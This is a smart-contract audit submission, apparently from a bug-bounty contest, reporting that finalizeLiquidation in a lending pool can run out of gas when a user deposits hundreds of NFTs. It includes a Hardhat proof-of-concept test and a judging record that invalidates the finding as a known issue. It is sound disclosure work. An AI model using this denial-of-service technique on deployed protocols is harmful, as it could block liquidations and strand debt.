Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

finalizeLiquidation() reverts out-of-gas

Summary

The finalizeLiquidation function in the LendingPool contract loops through and transfers all NFTs deposited by a user to the StabilityPool contract. However, since there is no restriction on the number of NFTs a user can deposit, if a user deposits a large number of NFTs, the function will revert out of gas. This results in the NFTs being stuck in the LendingPool contract with no alternative transfer method, leaving the debt uncovered.

Vulnerability Details

After using depositNFT, Users can borrow RTokens using their NFT as collateral. If the value of the deposited NFTs drops, liquidation can be initiated using initiateLiquidation, followed by finalizeLiquidation after a grace period.

However, in the finalizeLiquidation function, all NFTs deposited by the user are iterated over and transferred:

function finalizeLiquidation(address userAddress) external nonReentrant onlyStabilityPool {
...
// Transfer NFTs to Stability Pool
@> for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
uint256 tokenId = user.nftTokenIds[i];
user.depositedNFTs[tokenId] = false;
raacNFT.transferFrom(address(this), stabilityPool, tokenId);
}
...
}

If a user has deposited over 500 NFTs, the function will revert out-of-gas.

Add this test to LendingPool.test.js:

describe("Liquidation Failure Due to Excessive NFTs", function () {
it("should fail to finalize liquidation when too many NFTs are deposited", async function() {
await crvusd.connect(user1).mint(user1.address, ethers.parseEther("528"));
await crvusd.connect(user1).approve(raacNFT.target, ethers.parseEther("528"));
await crvusd.connect(owner).approve(lendingPool.target, ethers.parseEther("1000"));
// Loop to mint and deposit 528 NFTs
for (var i = 2; i <= 529; i++) {
// Set the house price for each NFT to 1 crvUSD
await raacHousePrices.setHousePrice(i, ethers.parseEther("1"));
// Mint NFT with token ID `i` to user1
await raacNFT.connect(user1).mint(i, ethers.parseEther("1"));
// Approve the lending pool to manage NFT `i`
await raacNFT.connect(user1).approve(lendingPool.target, i);
// Deposit NFT `i` into the lending pool as collateral
await lendingPool.connect(user1).depositNFT(i);
}
// User1 borrows 400 crvUSD against their NFT collateral
await lendingPool.connect(user1).borrow(ethers.parseEther("400"))
// Reduce the price of all deposited NFTs, triggering liquidation conditions
for (var i = 2; i <= 529; i++) {
await raacHousePrices.setHousePrice(i, ethers.parseEther("0.1"));
}
// User2 initiates liquidation of user1's position
await expect(lendingPool.connect(user2).initiateLiquidation(user1.address))
.to.emit(lendingPool, "LiquidationInitiated")
.withArgs(user2.address, user1.address);
// Ensure user1 is marked as under liquidation
expect(await lendingPool.isUnderLiquidation(user1.address)).to.be.true;
// Advance blockchain time by 72 hours (grace period) to allow liquidation
await ethers.provider.send("evm_increaseTime", [72 * 60 * 60 + 1]);
await ethers.provider.send("evm_mine");
// Fund the stability pool with crvUSD
await crvusd.connect(owner).mint(owner.address, ethers.parseEther("1000"));
// Set Stability Pool address (using owner for this test)
await lendingPool.connect(owner).setStabilityPool(owner.address);
// Attempt to finalize liquidation, expecting an out-of-gas error due to the large number of NFTs
try {
await lendingPool.connect(owner).finalizeLiquidation(user1.address);
expect.fail("Transaction did not revert as expected");
} catch (error) {
expect(error.message).to.include("out of gas");
}
})
})

Impact

NFTs locked in LendingPool contract

Unrecoverable debt

Tools Used

Manual review.

Recommendations

  • Limit NFT deposits per user

  • Instead of handling NFT transfers in the LendingPool, delegate them to a separate contract

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Appeal created

2yzz Submitter
4 months ago
inallhonesty Lead Judge
4 months ago
2yzz Submitter
4 months ago
inallhonesty Lead Judge
4 months ago
inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

LendingPool: Unbounded NFT array iteration in collateral valuation functions creates DoS risk, potentially blocking liquidations and critical operations

LightChaser L-36 and M-02 covers it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.